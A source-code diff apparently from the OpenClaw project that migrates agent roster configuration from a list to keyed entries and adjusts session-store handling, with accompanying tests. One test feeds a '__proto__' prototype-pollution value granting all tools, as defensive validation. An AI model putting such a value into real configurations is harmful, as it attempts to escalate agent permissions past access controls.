writer: { default: true }, + }, + }, + }, + changed: true, + diagnostics: ["Moved agents.list to keyed agents.entries."], + }); + }); + + it.each([ + { + label: "missing default", + list: [{ id: "10" }, { id: "2" }], + }, + { + label: "duplicate defaults", + list: [ + { id: "10", default: true }, + { id: "2", default: true }, + ], + }, + ])("preserves original list order for numeric ids with $label", ({ list }) => { + const migrated = migratePersistedImplicitMainRoster({ agents: { list } }); + expect(migrated.changed).toBe(true); + expect(migrated.config).toMatchObject({ + agents: { + entries: { + "2": {}, + "10": { default: true }, + }, + }, + }); + }); + + it("preserves a __proto__ agent as an own keyed entry", () => { + const migrated = migratePersistedImplicitMainRoster({ + agents: { list: [{ id: "__proto__" }] }, + }); + const config = migrated.config as { + agents: { entries: Record }; + }; + + expect(Object.hasOwn(config.agents.entries, "__proto__")).toBe(true); + expect(Object.getOwnPropertyDescriptor(config.agents.entries, "__proto__")?.value).toEqual({ + default: true, + }); + }); + + it("preserves an own __proto__ entry field for strict schema rejection", () => { + const unsafeEntry = JSON.parse('{"__proto__":{"tools":{"allow":["*"]}}}') as Record< + string, + unknown + >; + const migrated = migratePersistedImplicitMainRoster({ + agents: { entries: { ops: unsafeEntry } }, + }); + const entry = ( + migrated.config as { + agents: { entries: Record> }; + } + ).agents.entries.ops!; + + expect(Object.getPrototypeOf(entry)).toBe(Object.prototype); + expect(Object.hasOwn(entry, "__proto__")).toBe(true); + expect(Object.getOwnPropertyDescriptor(entry, "__proto__")?.value).toEqual({ + tools: { allow: ["*"] }, + }); + expect(entry.tools).toBeUndefined(); + expect(entry.default).toBe(true); + const validation = validateConfigObjectRaw(migrated.config); + expect(validation.ok).toBe(false); + if (!validation.ok) { + expect(validation.issues).toContainEqual({ + path: "agents.entries.ops.__proto__", + message: "agent entries must not contain blocked object keys", + }); + } + }); + + it("leaves malformed legacy list entries for schema validation", () => { + const malformed = { agents: { list: [null, { id: "ops", default: true }] } }; + expect(migratePersistedImplicitMainRoster(malformed)).toEqual({ + config: malformed, + changed: false, + diagnostics: [], + }); + }); + + it.each([ + { list: [{ default: true }] }, + { list: [{ id: "" }] }, + { list: [{ id: "Ops" }] }, + { list: [{ id: "ops" }, { id: "ops" }] }, + ])("leaves invalid or colliding legacy ids for schema validation", ({ list }) => { + const raw = { agents: { list } }; + expect(migratePersistedImplicitMainRoster(raw)).toEqual({ + config: raw, + changed: false, + diagnostics: [], + }); + }); + + it("migrates a persisted empty roster to explicit main", async () => { + await withTempHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + await fs.mkdir(path.dirname(configPath), { recursive: true }); + await fs.writeFile(configPath, JSON.stringify({ agents: { entries: {} } })); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.sourceConfig.agents?.entries).toEqual({ main: { default: true } }); + expect(JSON.parse(await fs.readFile(configPath, "utf8"))).toEqual({ + agents: { entries: {} }, + }); + }); + }); + + it.each([ + { + label: "missing default", + entries: { ops: {}, research: {} }, + expected: { ops: { default: true }, research: {} }, + }, + { + label: "duplicate defaults", + entries: { ops: {}, research: { default: true }, writer: { default: true } }, + expected: { ops: {}, research: { default: true }, writer: {} }, + }, + { + label: "false default markers", + entries: { ops: { default: false }, research: { default: false } }, + expected: { ops: { default: true }, research: {} }, + }, + ])("normalizes $label markers in memory", async ({ entries, expected }) => { + await withTempHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + await fs.mkdir(path.dirname(configPath), { recursive: true }); + await fs.writeFile(configPath, JSON.stringify({ agents: { entries } })); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.valid).toBe(true); + expect(snapshot.sourceConfig.agents?.entries).toEqual(expected); + expect(JSON.parse(await fs.readFile(configPath, "utf8"))).toEqual({ + agents: { entries }, + }); + }); + }); + + it("marks the first object entry and leaves wholly malformed maps unchanged", () => { + expect( + migratePersistedImplicitMainRoster({ agents: { entries: { invalid: null, ops: {} } } }), + ).toEqual({ + config: { agents: { entries: { invalid: null, ops: { default: true } } } }, + changed: true, + diagnostics: ['Migrated agents.entries by marking "ops" as default.'], + }); + const malformed = { agents: { entries: { first: null, second: "invalid" } } }; + expect(migratePersistedImplicitMainRoster(malformed)).toEqual({ + config: malformed, + changed: false, + diagnostics: [], + }); + const invalidMarker = { agents: { entries: { ops: { default: "yes" } } } }; + expect(migratePersistedImplicitMainRoster(invalidMarker)).toEqual({ + config: invalidMarker, + changed: false, + diagnostics: [], + }); + }); + + it("leaves non-boolean default markers for schema validation", async () => { + await withTempHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + await fs.mkdir(path.dirname(configPath), { recursive: true }); + await fs.writeFile( + configPath, + JSON.stringify({ agents: { entries: { ops: { default: "yes" } } } }), + ); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + + expect(snapshot.valid).toBe(false); + expect(snapshot.issues).toContainEqual( + expect.objectContaining({ path: "agents.entries.ops.default" }), + ); + }); + }); +}); diff --git a/src/config/legacy.roster.ts b/src/config/legacy.roster.ts new file mode 100644 index 000000000000..404abbd6f158 --- /dev/null +++ b/src/config/legacy.roster.ts @@ -0,0 +1,132 @@ +import { normalizeAgentId } from "@openclaw/normalization-core/agent-id"; +import { readAgentRosterProperty } from "../agents/agent-scope-config.js"; + +/** Every missing or empty roster is the shipped implicit-main shape. */ +export function migratePersistedImplicitMainRoster(raw: unknown): { + config: unknown; + changed: boolean; + diagnostics: string[]; +} { + if (!raw || typeof raw !== "object" || Array.isArray(raw)) { + return { config: raw, changed: false, diagnostics: [] }; + } + const root = raw as Record; + if ( + Object.hasOwn(root, "agents") && + (!root.agents || typeof root.agents !== "object" || Array.isArray(root.agents)) + ) { + return { config: raw, changed: false, diagnostics: [] }; + } + let agents = + root.agents && typeof root.agents === "object" && !Array.isArray(root.agents) + ? (root.agents as Record) + : {}; + let convertedLegacyList = false; + let legacyRosterOrder: string[] | undefined; + let rosterProperty = readAgentRosterProperty({ ...root, agents }); + if (rosterProperty?.kind === "list") { + if (!Array.isArray(rosterProperty.value)) { + return { config: raw, changed: false, diagnostics: [] }; + } + const legacyList = rosterProperty.value; + if (legacyList.some((value) => !value || typeof value !== "object" || Array.isArray(value))) { + return { config: raw, changed: false, diagnostics: [] }; + } + const legacyIds = new Set(); + const legacyOrder: string[] = []; + for (const value of legacyList) { + const entry = value as Record; + if (typeof entry.id !== "string" || entry.id.trim() !== entry.id || !entry.id) { + return { config: raw, changed: false, diagnostics: [] }; + } + const normalizedId = normalizeAgentId(entry.id); + if (normalizedId !== entry.id || legacyIds.has(normalizedId)) { + return { config: raw, changed: false, diagnostics: [] }; + } + legacyIds.add(normalizedId); + legacyOrder.push(entry.id); + } + legacyRosterOrder = legacyOrder; + const entries = Object.fromEntries( + legacyList.map((value) => { + const entry = value as Record; + const { id, ...config } = entry; + return [id as string, config]; + }), + ); + const { list: _list, ...rest } = agents; + agents = { ...rest, entries }; + convertedLegacyList = true; + rosterProperty = readAgentRosterProperty({ ...root, agents }); + } + const entries = rosterProperty?.kind === "entries" ? rosterProperty.value : undefined; + if ( + !rosterProperty || + (entries && + typeof entries === "object" && + !Array.isArray(entries) && + Object.keys(entries).length === 0) + ) { + return { + config: { ...root, agents: { ...agents, entries: { main: { default: true } } } }, + changed: true, + diagnostics: convertedLegacyList ? ["Moved agents.list to keyed agents.entries."] : [], + }; + } + if (!entries || typeof entries !== "object" || Array.isArray(entries)) { + return { config: raw, changed: false, diagnostics: [] }; + } + const roster = entries as Record; + const validIds = + legacyRosterOrder ?? + Object.entries(roster).flatMap(([id, entry]) => + entry && typeof entry === "object" && !Array.isArray(entry) ? [id] : [], + ); + if (validIds.length === 0) { + return { config: raw, changed: false, diagnostics: [] }; + } + const hasInvalidDefaultMarker = validIds.some((id) => { + const entry = roster[id] as Record; + return Object.hasOwn(entry, "default") && typeof entry.default !== "boolean"; + }); + if (hasInvalidDefaultMarker) { + return { config: raw, changed: false, diagnostics: [] }; + } + const defaultIds = validIds.filter( + (id) => (roster[id] as Record).default === true, + ); + if (defaultIds.length === 1) { + return convertedLegacyList + ? { + config: { ...root, agents }, + changed: true, + diagnostics: ["Moved agents.list to keyed agents.entries."], + } + : { config: raw, changed: false, diagnostics: [] }; + } + const effectiveId = defaultIds[0] ?? validIds[0]!; + const repaired = Object.fromEntries( + Object.entries(roster).map(([id, entry]) => { + if (!entry || typeof entry !== "object" || Array.isArray(entry)) { + return [id, entry]; + } + const next = { ...(entry as Record) }; + if (id === effectiveId) { + next.default = true; + } else { + delete next.default; + } + return [id, next]; + }), + ); + return { + config: { ...root, agents: { ...agents, entries: repaired } }, + changed: true, + diagnostics: [ + ...(convertedLegacyList ? ["Moved agents.list to keyed agents.entries."] : []), + defaultIds.length === 0 + ? `Migrated agents.entries by marking "${effectiveId}" as default.` + : `Migrated agents.entries by keeping "${effectiveId}" as default and clearing ${defaultIds.length - 1} duplicate marker(s).`, + ], + }; +} diff --git a/src/config/legacy.ts b/src/config/legacy.ts index e2b1ad03826c..5e358b8dcd6b 100644 --- a/src/config/legacy.ts +++ b/src/config/legacy.ts @@ -3,6 +3,8 @@ import { LEGACY_CONFIG_MIGRATION_RULES as LEGACY_CONFIG_RULES } from "../command import type { LegacyConfigRule } from "./legacy.shared.js"; import type { LegacyConfigIssue } from "./types.js"; +export { migratePersistedImplicitMainRoster } from "./legacy.roster.js"; + // Legacy checks use raw dotted paths so doctor can report exact config keys. function getPathValue(root: Record, path: string[]): unknown { let cursor: unknown = root; diff --git a/src/config/normalize-exec-safe-bin.ts b/src/config/normalize-exec-safe-bin.ts index 53fd8464b099..0026fa5ac33b 100644 --- a/src/config/normalize-exec-safe-bin.ts +++ b/src/config/normalize-exec-safe-bin.ts @@ -1,3 +1,4 @@ +import { listAgentEntries } from "../agents/agent-scope-config.js"; /** * Config normalization for exec safe-bin policy before materialized config is consumed. * Keep this limited to persisted global/per-agent config shape; runtime trust decisions live in infra. @@ -36,8 +37,7 @@ export function normalizeExecSafeBinProfilesInConfig(cfg: OpenClawConfig): void // Safe-bin config can be set globally or overridden per agent; normalize both persisted scopes. normalizeExec(cfg.tools?.exec); - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; - for (const agent of agents) { + for (const agent of listAgentEntries(cfg)) { normalizeExec(agent?.tools?.exec); } } diff --git a/src/config/plugin-auto-enable.shared.ts b/src/config/plugin-auto-enable.shared.ts index 07711439f8ab..2e5e0d28146f 100644 --- a/src/config/plugin-auto-enable.shared.ts +++ b/src/config/plugin-auto-enable.shared.ts @@ -3,6 +3,7 @@ import { collectConfiguredModelRefs } from "@openclaw/model-catalog-core/configu import { normalizeProviderId } from "@openclaw/model-catalog-core/provider-id"; import { expectDefined } from "@openclaw/normalization-core"; import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { collectConfiguredAgentHarnessRuntimes } from "../agents/harness-runtimes.js"; import { listPotentialConfiguredChannelPresenceSignals, @@ -404,10 +405,7 @@ function hasBrowserToolReference(cfg: OpenClawConfig): boolean { if (toolPolicyReferencesBrowser(cfg.tools)) { return true; } - const agentList = cfg.agents?.list; - return Array.isArray(agentList) - ? agentList.some((entry) => isRecord(entry) && toolPolicyReferencesBrowser(entry.tools)) - : false; + return listAgentEntries(cfg).some((entry) => toolPolicyReferencesBrowser(entry.tools)); } function collectConfiguredPluginEntryIds(cfg: OpenClawConfig): string[] { diff --git a/src/config/runtime-schema.test.ts b/src/config/runtime-schema.test.ts index 138b976eb88f..0507a3afb43d 100644 --- a/src/config/runtime-schema.test.ts +++ b/src/config/runtime-schema.test.ts @@ -18,6 +18,10 @@ const mockGetCurrentPluginMetadataSnapshot = vi.hoisted(() => vi.fn()); let readBestEffortRuntimeConfigSchema: typeof import("./runtime-schema.js").readBestEffortRuntimeConfigSchema; let loadGatewayRuntimeConfigSchema: typeof import("./runtime-schema.js").loadGatewayRuntimeConfigSchema; +function explicitMainRoster(): OpenClawConfig { + return { agents: { list: [{ id: "main", default: true }] } }; +} + vi.mock("./config.js", () => { return { getRuntimeConfig: () => mockLoadConfig(), @@ -199,12 +203,15 @@ describe("readBestEffortRuntimeConfigSchema", () => { beforeAll(async () => { vi.clearAllMocks(); - mockLoadConfig.mockReturnValue({}); + mockLoadConfig.mockReturnValue(explicitMainRoster()); mockLoadPluginManifestRegistry.mockReturnValue(makeManifestRegistry()); mockReadConfigFileSnapshot.mockResolvedValueOnce( makeSnapshot({ valid: true, - config: { plugins: { entries: { demo: { enabled: true } } } }, + config: { + ...explicitMainRoster(), + plugins: { entries: { demo: { enabled: true } } }, + }, }), ); @@ -219,14 +226,17 @@ describe("readBestEffortRuntimeConfigSchema", () => { beforeEach(() => { vi.clearAllMocks(); - mockLoadConfig.mockReturnValue({}); + mockLoadConfig.mockReturnValue(explicitMainRoster()); mockLoadPluginManifestRegistry.mockReturnValue(makeManifestRegistry()); }); it("merges manifest plugin metadata for valid configs", async () => { const { channelProps, entryProps, loadArg, manifestRegistryLoadCount } = validConfigSchemaCase; expect(manifestRegistryLoadCount).toBe(1); - expect(loadArg?.config).toEqual({ plugins: { entries: { demo: { enabled: true } } } }); + expect(loadArg?.config).toEqual({ + ...explicitMainRoster(), + plugins: { entries: { demo: { enabled: true } } }, + }); expect(loadArg).not.toHaveProperty("cache", false); expect(loadArg).not.toHaveProperty("bundledChannelConfigCollector"); expect(channelProps).toHaveProperty("telegram"); @@ -241,7 +251,10 @@ describe("readBestEffortRuntimeConfigSchema", () => { expect(mockLoadPluginManifestRegistry).toHaveBeenCalledTimes(1); const loadArg = getManifestRegistryLoadArg(); - expect(loadArg?.config).toEqual({ plugins: { enabled: true } }); + expect(loadArg?.config).toEqual({ + ...explicitMainRoster(), + plugins: { enabled: true }, + }); expect(loadArg).not.toHaveProperty("cache", false); expect(loadArg).not.toHaveProperty("bundledChannelConfigCollector"); expect(channelProps).toHaveProperty("telegram"); @@ -253,7 +266,10 @@ describe("readBestEffortRuntimeConfigSchema", () => { describe("loadGatewayRuntimeConfigSchema", () => { beforeEach(() => { vi.clearAllMocks(); - mockLoadConfig.mockReturnValue({ plugins: { entries: { demo: { enabled: true } } } }); + mockLoadConfig.mockReturnValue({ + ...explicitMainRoster(), + plugins: { entries: { demo: { enabled: true } } }, + }); mockLoadPluginManifestRegistry.mockReturnValue(makeManifestRegistry()); }); @@ -265,7 +281,10 @@ describe("loadGatewayRuntimeConfigSchema", () => { expect(mockLoadPluginManifestRegistry).toHaveBeenCalledTimes(1); const loadArg = getManifestRegistryLoadArg(); - expect(loadArg?.config).toEqual({ plugins: { entries: { demo: { enabled: true } } } }); + expect(loadArg?.config).toEqual({ + ...explicitMainRoster(), + plugins: { entries: { demo: { enabled: true } } }, + }); expect(loadArg).not.toHaveProperty("bundledChannelConfigCollector"); expect(channelProps).toHaveProperty("telegram"); expect(channelProps).toHaveProperty("matrix"); @@ -311,7 +330,10 @@ describe("loadGatewayRuntimeConfigSchema", () => { expect(mockGetCurrentPluginMetadataSnapshot).toHaveBeenCalledTimes(1); const metadataArg = getCurrentMetadataSnapshotArg(); - expect(metadataArg?.config).toEqual({ plugins: { entries: { demo: { enabled: true } } } }); + expect(metadataArg?.config).toEqual({ + ...explicitMainRoster(), + plugins: { entries: { demo: { enabled: true } } }, + }); expect(mockLoadPluginManifestRegistry).not.toHaveBeenCalled(); expect(channelProps).toHaveProperty("telegram"); expect(JSON.stringify(channelProps?.telegram)).toContain("botToken"); diff --git a/src/config/runtime-schema.ts b/src/config/runtime-schema.ts index 5e6f8af8d954..cc028ad1df34 100644 --- a/src/config/runtime-schema.ts +++ b/src/config/runtime-schema.ts @@ -11,7 +11,7 @@ import { buildConfigSchema, type ConfigSchemaResponse } from "./schema.js"; // Runtime schemas include currently loaded plugin/channel metadata for accurate UI fields. function loadManifestRegistry(config: OpenClawConfig, env?: NodeJS.ProcessEnv) { - const workspaceDir = resolveAgentWorkspaceDir(config, resolveDefaultAgentId(config)); + const workspaceDir = resolveAgentWorkspaceDir(config, resolveDefaultAgentId(config), env); return resolvePluginMetadataSnapshot({ config, env: env ?? process.env, @@ -32,7 +32,9 @@ export function loadGatewayRuntimeConfigSchema(): ConfigSchemaResponse { export async function readBestEffortRuntimeConfigSchema(): Promise { const snapshot = await readConfigFileSnapshot(); - const config = snapshot.valid ? snapshot.config : { plugins: { enabled: true } }; + const config = snapshot.valid + ? snapshot.config + : { agents: { list: [{ id: "main", default: true }] }, plugins: { enabled: true } }; const registry = loadManifestRegistry(config); return buildConfigSchema({ plugins: snapshot.valid ? collectPluginSchemaMetadata(registry) : [], diff --git a/src/config/schema.hints.ts b/src/config/schema.hints.ts index 23f2d66491e8..7cbc63a05a2a 100644 --- a/src/config/schema.hints.ts +++ b/src/config/schema.hints.ts @@ -201,7 +201,9 @@ export function collectMatchingSchemaPaths( paths.add(path); } - if (currentSchema instanceof z.ZodObject) { + if (currentSchema instanceof z.ZodPipe) { + collectMatchingSchemaPaths(currentSchema.out as unknown as z.ZodType, path, matchesPath, paths); + } else if (currentSchema instanceof z.ZodObject) { const shape = currentSchema.shape; for (const key in shape) { const nextPath = path ? `${path}.${key}` : key; @@ -282,7 +284,9 @@ function mapSensitivePathsMut(schema: z.ZodType, path: string, hints: ConfigUiHi hints[path] = { ...hints[path], sensitive: true }; } - if (currentSchema instanceof z.ZodObject) { + if (currentSchema instanceof z.ZodPipe) { + mapSensitivePathsMut(currentSchema.out as unknown as z.ZodType, path, hints); + } else if (currentSchema instanceof z.ZodObject) { const shape = currentSchema.shape; for (const key in shape) { const nextPath = path ? `${path}.${key}` : key; diff --git a/src/config/schema.test.ts b/src/config/schema.test.ts index 5fbaa51018fe..2d1b84213c06 100644 --- a/src/config/schema.test.ts +++ b/src/config/schema.test.ts @@ -706,6 +706,7 @@ describe("config schema", () => { agents: { entries: { main: { + default: true, tools: { exec: { commandHighlighting: false, @@ -737,6 +738,7 @@ describe("config schema", () => { agents: { entries: { main: { + default: true, tools: { exec: { reviewer: { diff --git a/src/config/sessions.test.ts b/src/config/sessions.test.ts index 73d91e9da548..471c6b4d2244 100644 --- a/src/config/sessions.test.ts +++ b/src/config/sessions.test.ts @@ -11,7 +11,7 @@ import { resolveSessionFilePathOptions, resolveSessionKey, resolveSessionTranscriptPath, - resolveSessionTranscriptsDir, + resolveSessionTranscriptsDirForAgent, } from "./sessions.js"; describe("sessions", () => { @@ -187,14 +187,15 @@ describe("sessions", () => { for (const testCase of resolveSessionKeyCases) { it(testCase.name, () => { - expect(resolveSessionKey(testCase.scope, testCase.ctx, testCase.mainKey)).toBe( + expect(resolveSessionKey(testCase.scope, testCase.ctx, testCase.mainKey, "main")).toBe( testCase.expected, ); }); } it("derives session transcripts dir from OPENCLAW_STATE_DIR", () => { - const dir = resolveSessionTranscriptsDir( + const dir = resolveSessionTranscriptsDirForAgent( + "main", { OPENCLAW_STATE_DIR: "/custom/state" } as NodeJS.ProcessEnv, () => "/home/ignored", ); diff --git a/src/config/sessions/combined-store-gateway.ts b/src/config/sessions/combined-store-gateway.ts index 899be5fb2e6c..d80b5703d364 100644 --- a/src/config/sessions/combined-store-gateway.ts +++ b/src/config/sessions/combined-store-gateway.ts @@ -2,17 +2,25 @@ // Gateway callers need canonical per-agent keys even when stores are split by `{agentId}`. import { expectDefined } from "@openclaw/normalization-core"; -import { resolveDefaultAgentId } from "../../agents/agent-scope.js"; +import { listAgentEntries, resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { canonicalizeSpawnedByForAgent, resolveStoredSessionKeyForAgentStore, } from "../../gateway/session-store-key.js"; -import { isIncognitoSessionKey, normalizeAgentId } from "../../routing/session-key.js"; +import { + isIncognitoSessionKey, + LEGACY_IMPLICIT_AGENT_ID, + normalizeAgentId, + parseAgentSessionKey, +} from "../../routing/session-key.js"; import { listOpenIncognitoAgentDatabases } from "../../state/openclaw-agent-db.js"; import type { OpenClawConfig } from "../types.openclaw.js"; import { resolveStorePath } from "./paths.js"; import { listSessionEntries, listSessionEntriesReadOnly } from "./session-accessor.js"; import { + dedupeSessionStoreTargetsBySqliteTarget, + listConfiguredSessionStoreAgentIds, + listKnownSessionStoreAgentIds, resolveAgentSessionStoreTargetsSync, resolveAllAgentSessionStoreTargetsSync, resolveSessionStoreTargets, @@ -100,12 +108,16 @@ function mergeSessionEntryIntoCombined(params: { } function mergeOpenIncognitoStores(params: { + allowedAgentIds?: ReadonlySet; cfg: OpenClawConfig; combined: Record; agentId?: string; }): string[] { const storePaths: string[] = []; for (const target of listOpenIncognitoAgentDatabases()) { + if (params.allowedAgentIds && !params.allowedAgentIds.has(target.agentId)) { + continue; + } if (params.agentId && target.agentId !== params.agentId) { continue; } @@ -139,52 +151,93 @@ export function loadCombinedSessionStoreForGateway( cfg: OpenClawConfig, opts: { agentId?: string; configuredAgentsOnly?: boolean; includeIncognito?: boolean } = {}, ): { + diagnostics?: string[]; durableStorePath?: string; storePath: string; store: Record; } { const storeConfig = cfg.session?.store; + const diagnostics: string[] = []; // Exclusion happens before path aggregation; filtering rows afterward would // still leak a live incognito handle by changing the projected store path. const includeIncognito = opts.includeIncognito !== false; - if (storeConfig && !isStorePathTemplate(storeConfig)) { - // A single shared store still needs keys canonicalized as if owned by the default agent. - const storePath = resolveStorePath(storeConfig); - const defaultAgentId = normalizeAgentId(resolveDefaultAgentId(cfg)); - const store = loadGatewayStoreEntries({ agentId: defaultAgentId, storePath }); - const combined: Record = {}; - for (const [key, entry] of Object.entries(store)) { - const canonicalKey = resolveStoredSessionKeyForAgentStore({ - cfg, - agentId: defaultAgentId, - sessionKey: key, - }); - mergeSessionEntryIntoCombined({ - cfg, - combined, - entry, - agentId: defaultAgentId, - canonicalKey, - }); - } - const incognitoStorePaths = includeIncognito - ? mergeOpenIncognitoStores({ - cfg, - combined, - ...(opts.agentId ? { agentId: normalizeAgentId(opts.agentId) } : {}), - }) - : []; - return { - durableStorePath: storePath, - storePath: incognitoStorePaths.length > 0 ? "(multiple)" : storePath, - store: combined, - }; - } - + const defaultAgentId = normalizeAgentId(resolveDefaultAgentId(cfg)); const requestedAgentId = typeof opts.agentId === "string" && opts.agentId.trim() ? normalizeAgentId(opts.agentId) : undefined; + const configuredAgentIds = + opts.configuredAgentsOnly === true && !requestedAgentId + ? new Set(listConfiguredSessionStoreAgentIds(cfg)) + : undefined; + const allowedIncognitoAgentIds = requestedAgentId + ? new Set([requestedAgentId]) + : configuredAgentIds; + if (storeConfig && !isStorePathTemplate(storeConfig)) { + const ownerIds = [ + ...new Set([ + ...listAgentEntries(cfg).map((entry) => normalizeAgentId(entry.id)), + ...listKnownSessionStoreAgentIds(cfg), + defaultAgentId, + LEGACY_IMPLICIT_AGENT_ID, + ...(requestedAgentId ? [requestedAgentId] : []), + ]), + ]; + const combined: Record = {}; + // Runtime session access is SQLite-only: a fixed literal is a naming seed whose + // resolved database is partitioned per owner. Legacy flat JSON is migration-only. + const ownerTargets = dedupeSessionStoreTargetsBySqliteTarget( + ownerIds.map((agentId) => ({ + agentId, + storePath: resolveStorePath(storeConfig, { agentId }), + })), + { + defaultAgentId, + onDiagnostic: (diagnostic) => diagnostics.push(diagnostic.message), + }, + ); + for (const { agentId, storePath } of ownerTargets) { + const store = loadGatewayStoreEntries({ agentId, storePath }); + for (const [key, entry] of Object.entries(store)) { + const canonicalKey = resolveStoredSessionKeyForAgentStore({ + cfg, + agentId, + sessionKey: key, + }); + const canonicalAgentId = normalizeAgentId( + parseAgentSessionKey(canonicalKey)?.agentId ?? agentId, + ); + if (configuredAgentIds && !configuredAgentIds.has(canonicalAgentId)) { + continue; + } + if (requestedAgentId && canonicalAgentId !== requestedAgentId) { + continue; + } + mergeSessionEntryIntoCombined({ + cfg, + combined, + entry, + agentId: canonicalAgentId, + canonicalKey, + }); + } + } + const durableStorePath = resolveStorePath(storeConfig, { agentId: defaultAgentId }); + const incognitoStorePaths = includeIncognito + ? mergeOpenIncognitoStores({ + ...(allowedIncognitoAgentIds ? { allowedAgentIds: allowedIncognitoAgentIds } : {}), + cfg, + combined, + ...(requestedAgentId ? { agentId: requestedAgentId } : {}), + }) + : []; + return { + diagnostics, + durableStorePath, + storePath: incognitoStorePaths.length > 0 ? "(multiple)" : durableStorePath, + store: combined, + }; + } const targets = requestedAgentId ? resolveAgentSessionStoreTargetsSync(cfg, requestedAgentId) : opts.configuredAgentsOnly === true @@ -201,11 +254,20 @@ export function loadCombinedSessionStoreForGateway( agentId, sessionKey: key, }); + const canonicalAgentId = normalizeAgentId( + parseAgentSessionKey(canonicalKey)?.agentId ?? agentId, + ); + if (configuredAgentIds && !configuredAgentIds.has(canonicalAgentId)) { + continue; + } + if (requestedAgentId && canonicalAgentId !== requestedAgentId) { + continue; + } mergeSessionEntryIntoCombined({ cfg, combined, entry, - agentId, + agentId: canonicalAgentId, canonicalKey, }); } @@ -213,6 +275,7 @@ export function loadCombinedSessionStoreForGateway( const incognitoStorePaths = includeIncognito ? mergeOpenIncognitoStores({ + ...(allowedIncognitoAgentIds ? { allowedAgentIds: allowedIncognitoAgentIds } : {}), cfg, combined, ...(requestedAgentId ? { agentId: requestedAgentId } : {}), @@ -225,5 +288,5 @@ export function loadCombinedSessionStoreForGateway( [...durableStorePaths, ...incognitoStorePaths], storeConfig, ); - return { durableStorePath, storePath, store: combined }; + return { diagnostics, durableStorePath, storePath, store: combined }; } diff --git a/src/config/sessions/compaction-session-file.ts b/src/config/sessions/compaction-session-file.ts index 01d288647d3d..aea9a526aba7 100644 --- a/src/config/sessions/compaction-session-file.ts +++ b/src/config/sessions/compaction-session-file.ts @@ -1,6 +1,9 @@ // Compaction session-file rotation shares the same owner as session path resolution. import path from "node:path"; -import { resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; +import { + LEGACY_IMPLICIT_AGENT_ID, + resolveAgentIdFromSessionKey, +} from "../../routing/session-key.js"; import { resolveSessionFilePath, resolveSessionFilePathOptions } from "./paths.js"; import { canonicalizeAbsoluteSessionFilePath, @@ -12,9 +15,13 @@ export function resolveCompactionSessionFile(params: { entry: SessionEntry; sessionKey: string; storePath?: string; + defaultAgentId?: string; newSessionId: string; }): string { - const agentId = resolveAgentIdFromSessionKey(params.sessionKey); + const agentId = resolveAgentIdFromSessionKey( + params.sessionKey, + params.defaultAgentId ?? LEGACY_IMPLICIT_AGENT_ID, + ); const pathOpts = resolveSessionFilePathOptions({ agentId, storePath: params.storePath, diff --git a/src/config/sessions/conversation-registry.test.ts b/src/config/sessions/conversation-registry.test.ts index d9f4aa8cd53f..803056070151 100644 --- a/src/config/sessions/conversation-registry.test.ts +++ b/src/config/sessions/conversation-registry.test.ts @@ -234,6 +234,7 @@ describe("conversation registry", () => { expect(linked?.sessionId).toBe("deleted-session"); await deleteSessionEntryLifecycle({ + agentId: "main", storePath, target: { canonicalKey: sessionKey, storeKeys: [sessionKey] }, archiveTranscript: false, diff --git a/src/config/sessions/disk-budget.test.ts b/src/config/sessions/disk-budget.test.ts index 5d7ecd038afc..3251c3c03fe8 100644 --- a/src/config/sessions/disk-budget.test.ts +++ b/src/config/sessions/disk-budget.test.ts @@ -5,6 +5,11 @@ import fs from "node:fs/promises"; import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import { saveLegacySessionStore as saveSessionStore } from "../../infra/state-migrations.legacy-session-store.js"; +import { + closeOpenClawAgentDatabasesForTest, + openOpenClawAgentDatabase, +} from "../../state/openclaw-agent-db.js"; +import { closeOpenClawStateDatabaseForTest } from "../../state/openclaw-state-db.js"; import { withTempDir } from "../../test-helpers/temp-dir.js"; import { resolveTrajectoryFilePath, @@ -100,6 +105,31 @@ describe("enforceSessionDiskBudget", () => { }); }); + it("counts durable fixed-store agent partitions and their WAL files", async () => { + await withTempDir({ prefix: "openclaw-disk-budget-partition-" }, async (dir) => { + const stateDir = path.join(dir, "state"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(dir, "shared.json"); + const partitionPath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "ops", + defaultAgentId: "main", + env, + }).path; + const database = openOpenClawAgentDatabase({ agentId: "ops", env, path: partitionPath }); + closeOpenClawAgentDatabasesForTest(); + closeOpenClawStateDatabaseForTest(); + await fs.writeFile(`${partitionPath}-wal`, Buffer.alloc(77)); + const partitionBytes = (await fs.stat(database.path)).size; + + const usage = await measureSessionPhysicalDiskUsage(storePath); + + expect(usage.databaseMainBytes).toBe(partitionBytes); + expect(usage.databaseWalBytes).toBe(77); + expect(usage.sessionFilesBytes).toBe(0); + expect(usage.totalBytes).toBe(partitionBytes + 77); + }); + }); + it("excludes migration archives from the session disk budget (#106875)", async () => { await withTempDir({ prefix: "openclaw-disk-budget-" }, async (dir) => { const storePath = path.join(dir, "sessions.json"); diff --git a/src/config/sessions/disk-budget.ts b/src/config/sessions/disk-budget.ts index 2733a06d493b..0b8e5f92d603 100644 --- a/src/config/sessions/disk-budget.ts +++ b/src/config/sessions/disk-budget.ts @@ -21,7 +21,7 @@ import { isTrajectorySessionArtifactName, } from "./artifacts.js"; import { resolveSessionFilePath } from "./paths.js"; -import { resolveSqliteTargetFromSessionStorePath } from "./session-sqlite-target.js"; +import { listDurableSqliteTargetPathsForSessionStorePath } from "./session-sqlite-target.js"; import { projectSessionStoreForPersistence } from "./skill-prompt-blobs.js"; import { shouldPreserveMaintenanceEntry } from "./store-maintenance.js"; import type { SessionEntry } from "./types.js"; @@ -258,23 +258,21 @@ async function readSessionsDirFiles(sessionsDir: string): Promise { - const databasePath = resolveSqliteTargetFromSessionStorePath(storePath).path; - if (!databasePath) { - return []; - } const files: SessionsDirFileStat[] = 